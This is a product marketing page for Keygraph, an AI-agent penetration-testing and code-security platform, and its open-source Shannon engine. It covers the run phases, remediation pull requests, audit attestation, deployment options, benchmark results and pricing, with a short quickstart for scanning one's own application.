The modules are built to feed each other. Static analysis and the whitebox engine surface different candidates, one queue merges them, and the exploitation agents work that whole queue against the running application. That combination is what makes the full run a different kind of pentest, rather than a scanner with an exploit step bolted on.

Whichever you run, the same closure comes with it: findings deduplicated so you triage once, remediation as a reviewable pull request, Jira sync, and a pentest report built to be accepted by auditors.

What a full run does, in order

A Keygraph run reads the code before it touches the app, holds the static findings back, then proves them. Static candidates and live reconnaissance meet in one exploitation queue, and only what an exploit confirms is filed as a pentest finding.

ONE MODULE ON ITS OWNsastFindings from one moduleTHE FULL RUNwhiteboxsastscasecretsReconcile, then exploitONE RECONCILED QUEUEProven findings
01

Read the code first

Phase 1 · Pre-Recon

A code analyst maps the repository end to end: entry points, auth flows, database access and security sinks. Static reasoning only, with no browser involved yet, so the run knows the shape of the application before it sends a request.

02

Hold the static findings

SAST, SCA, Secrets

The static stream produces candidates, not verdicts. A static finding becomes a pentest finding only after the whitebox pentest proves it against the running app, and anything never exploited is reported in its own lane instead.

03

Confirm against the live app

Phase 2 · Recon

A recon specialist crawls the running application to confirm endpoints, forms and auth boundaries. What the code implied is checked against what the deployment actually exposes, before any exploitation is attempted.

04

Five analysts, in parallel

Phase 3 · Vulnerability analysis

Injection, XSS, Auth, SSRF and Authz each get their own specialist, and the five work in parallel. Each one reads the source for its own domain and produces its own candidates, rather than waiting on a single shared pass.

05

One exploitation queue

Phase 4 · Exploitation

Those candidates, together with any from agentic code analysis, are merged and deduplicated into a queue per domain. In-scope static findings cross over, mapped from CWE to OWASP, and each analyst hands off to a paired exploiter.

See the five-phase run →
06

Report, patch, re-test

Phase 5 · Reporting

A reporting agent synthesizes validated exploits with reproduction steps and severity, and drops the speculative ones. Remediation starts when you click a finding: the fix arrives as a reviewable pull request, then the original exploit is replayed to decide whether it closes.

Static analysis finds the candidates. The pentest is what proves them.

You choose the models. Always your key.

Inference runs under your own provider account, so the key and the model bill are both yours. Run the open-source engine and Keygraph never receives your source and never proxies your model traffic.

Hosted providers

Models you serve yourself

Bring your own key. Model access is always your own key and your own provider account, on the Keygraph platform and in Shannon. Because inference runs under your account, the provider's retention terms are yours to set.

One source of truth for every finding.

Reporting & Analytics

The Keygraph platform deduplicates SAST, SCA, Secrets, and Whitebox results into a single canonical entry per vulnerability per repository, surfaced on a live security dashboard and synced bidirectionally with Jira. Each entry retains its evidence and status: identified, validated, recorded.

Explore Reporting & Analytics →
SASTSCASecretsWhiteboxOne canonical findingIDENTIFIED · VALIDATED · RECORDEDJiraTWO-WAY SYNC

Canonical findings

Content-hash plus LLM semantic matching. One entry per vulnerability per repo, persistent across refactors.

Security dashboard

Live KPIs alongside risk, velocity, SLA, and MTTR trend charts. Drill down by repo, team, or severity.

Jira sync

One-click ticket creation, 15-minute status refresh, hourly drift sweep on linked pairs.

From finding to verified patch.

Code Remediation

Click a confirmed finding in the Keygraph platform. An agent reads the evidence, writes the fix, and re-runs the original scanner to prove the vulnerability is gone. The verified patch lands as a reviewable pull request in your existing workflow: your team chooses and tracks the risk response, and nothing is auto-applied.

Explore Code Remediation →
FindingPROVEN BY EXPLOITPatchWRITTEN BY AN AGENTRe-runNOT REPRODUCEDPull requestAWAITING YOUR REVIEWNEVER AUTO-APPLIED

Verified before delivery

Same scanner re-runs against the patched code. No patch is delivered unless the original vulnerability is gone.

Review gate stays yours

Patches attributed to a clearly labeled Keygraph bot, landing in your existing GitHub, GitLab, or Azure DevOps workflow. Never auto-applied.

User-initiated only

Patching runs only when someone clicks a finding. It never starts on its own, and it never reverts anything.

When an auditor needs a signature

Every run already produces a pentest report built to be accepted by auditors, with finding tables that carry each fix through to its verification. When an audit wants a human signature on top, the attestation layers onto that pentest, signed by a security team that works separately from the engineers who build the platform.

What is in the report

One signed document

  • +The systems under test and the testing window
  • +The documented methodology the engagement followed
  • +Every vulnerability with its severity ranking
  • +The executed proof-of-concept exploit behind each one
  • +What was fixed, and how each fix was independently verified
  • +The status of anything left open

Findings you choose not to fix appear in the report with their status, so nothing is hidden from your auditor.

How the attestation runs

Typically one week, kickoff to sign-off

Run your pentest on the Keygraph platform ↓ Fix what you choose, as reviewable pull requests ↓ The Keygraph security team reviews and re-tests each fix ↓ You get the signed third-party report

Priced as a flat one-time fee, with your remediation timeline left entirely to you. At the next audit cycle, re-attestation runs the same way against a fresh pentest.

Confirmed in writing

What one audit firm asked for

A SOC 2 audit firm confirmed to Keygraph in writing that an AI-generated pentest is acceptable evidence, on two conditions. The report identifies the vulnerabilities in the application under test, and every finding carries a severity ranking.

Attestation →

Provides pentest evidence for compliance regimes including:

PCI-DSS

FedRAMP

GLBA

Safeguards Rule

NYDFS

Part 500

DORA

TLPT

CMMC

Level 3

Your own audits

SOC 2 and ISO 27001

SOC 2 and ISO 27001 audits expect penetration test evidence, which is the gap the signed attestation fills. Alongside it, the findings history logs each vulnerability with timestamp and author as audit-ready evidence for pentest and vulnerability-scanning requirements.

Attestation →

Separate from your audit

Keygraph's own posture

This one is about Keygraph, not about you. Keygraph's own SOC 2 Type II report is available under NDA, and the Code Security Posture page sets out the controls the platform applies to your source code.

Code Security Posture →

Operated where your data lives.

Keygraph Enterprise

Deploys entirely inside your AWS, GCP, or Azure account. Source and scan results stay inside your security perimeter, and inference runs against the model endpoint you choose, including one inside your own account. No managed control plane. No externally operated data plane.

See the Enterprise platform →
YOUR CLOUD ACCOUNTPentest runnerSourceModel endpointFindingsNo control plane

Self-hosted

Run the entire platform inside your VPC. Fully air-gapped, with inference from a model endpoint inside your boundary.

SSO & SCIM

SAML 2.0 or OIDC for sign-in. SCIM for automated user provisioning and deprovisioning.

Deep integrations

GitHub, GitLab, Azure DevOps, and two-way Jira sync, plus CI gating in GitHub Actions and Azure DevOps Pipelines.

Cloud, self-hosted or air-gapped

Keygraph Cloud is held to the same standard as a self-hosted install, with regional isolation, and Keygraph's own SOC 2 Type II report is available under NDA. Self-hosted and air-gapped installs exist because many security teams have to keep everything inside their own boundary, and the whole platform runs that way, proof of concept included. Whichever you pick, the run happens in an ephemeral container on read-only scopes.

What you holdKeygraph CloudSelf-hostedAir-gapped
Operated byKeygraphYouYou
Runs onKeygraph's AWS, US or EU regionYour AWS, GCP or Azure accountYour network, isolated
Findings storeKeygraph tenant, encrypted at restYour Postgres, your keysYour Postgres, your keys
Model endpointYour key, your provider accountYour key, your provider accountAn endpoint inside your boundary
Your sourceEphemeral memory, discarded after the scanEphemeral memory, discarded after the scanEphemeral memory, discarded after the scan
What is keptOnly the finding record, with a redacted snippetOnly the finding record, in your databaseOnly the finding record, in your database
Model trainingNever on your code or findingsNever on your code or findingsNever on your code or findings
AccessRead-only; write only for a fix you openRead-only; write only for a fix you openRead-only; write only for a fix you open
Sign-inSAML 2.0 or OIDCYour IdP, SAML 2.0 or OIDCYour IdP, SAML 2.0 or OIDC
Updates and licensingManaged continuouslyApplied on your scheduleSigned artifacts, validated inside your network

Every deployment runs the same engine. What changes is who holds the keys, the data and the schedule.

The Shannon 3.0 benchmark

Three Shannon 3.0 runs, one per model, against the Photoview 2.4.0 deployment Doyensec tested, with admin credentials only. Every run is published with a downloadable report and a SARIF file.

$6.10

Cheapest run

Model tokens for the cheapest of the three runs.

3 of 3

Every run caught the critical

Runs that caught the critical pre-auth SQL injection at CVSS 9.8.

6 of 7

Later-patched vulnerabilities

Vulnerabilities Photoview patched after 2.4.0, caught by the Claude Opus 5 run.

SARIF 2.1.0

Machine-readable by default

Written by default in exploit mode, so findings land in GitHub code scanning or GitLab's vulnerability report.

Hands-on at every level

Keygraph came out of problems its own team kept running into, and it is built to be used before it is bought. Start with Shannon today. When you are ready for the platform, a proof of concept runs it on your own code with our engineers, cloud-hosted or self-hosted in your own account.

No signup, no account

Start with Shannon, today

Shannon is the whitebox pentesting engine inside the Keygraph platform, and it writes its reports the way the platform does. Run it against your own code with Docker, Node.js 18+ and your own model key. If you like what it finds, the platform adds SAST, SCA and secrets, one queue across all of them, remediation pull requests, and runs on every build.

Quickstart
# Configure credentials with the interactive wizard.
$ npx @keygraph/shannon@latest setup

# Run a pentest against a source-available target.
$ npx @keygraph/shannon@latest start -u https://your-app.com -r /path/to/your-repo
01
Shannon open source

The engine, run by you.

  • Run it locally or in CI
  • Any repository, public or private
  • The platform's whitebox engine and report format
  • You pay only your own model costs

$0 forever

$0forever
Shannon, open source
02
Community Program

The full Pro plan for early-stage startups and nonprofits.

  • Seed and pre-Series-A startups
  • U.S.-based 501(c)(3) nonprofits
  • 20 or fewer Active Developers
  • Free until you graduate from the program

$0 in cloud service fees

$0while you qualify
Check your eligibility
03
Pro

The full Keygraph platform, cloud-hosted and managed.

  • Every module included, no add-ons
  • Unlimited repositories and scans
  • Seats, not scans or tokens
  • SSO, RBAC, audit logs and Jira sync

Per Active Developer

$50per developer / month
Compare the plans
04
Enterprise

The full Keygraph platform, in your own environment.

  • Everything in Pro
  • Self-hosted or fully air-gapped
  • A dedicated engineer and white-glove onboarding
  • Custom SLA, security patch SLA and DPA

Annual contract

Custom
Schedule a technical demo

Seats, not usage

A seat is a person who changed a monitored repository and still has access. Bots, read-only users and anyone who has lost access are excluded, and scans, pentests, findings and tokens are never metered.

Every module, on every plan

The Community Program, Pro and Enterprise all include every module with no add-ons. A plan decides where the platform runs and how it is supported, never what it can test.

Explore Keygraph

Go deeper on the platform, see how Keygraph compares with the tools you already run, learn Shannon from its docs, or get to know the team behind it.

We don't report what might be vulnerable.
We prove what is.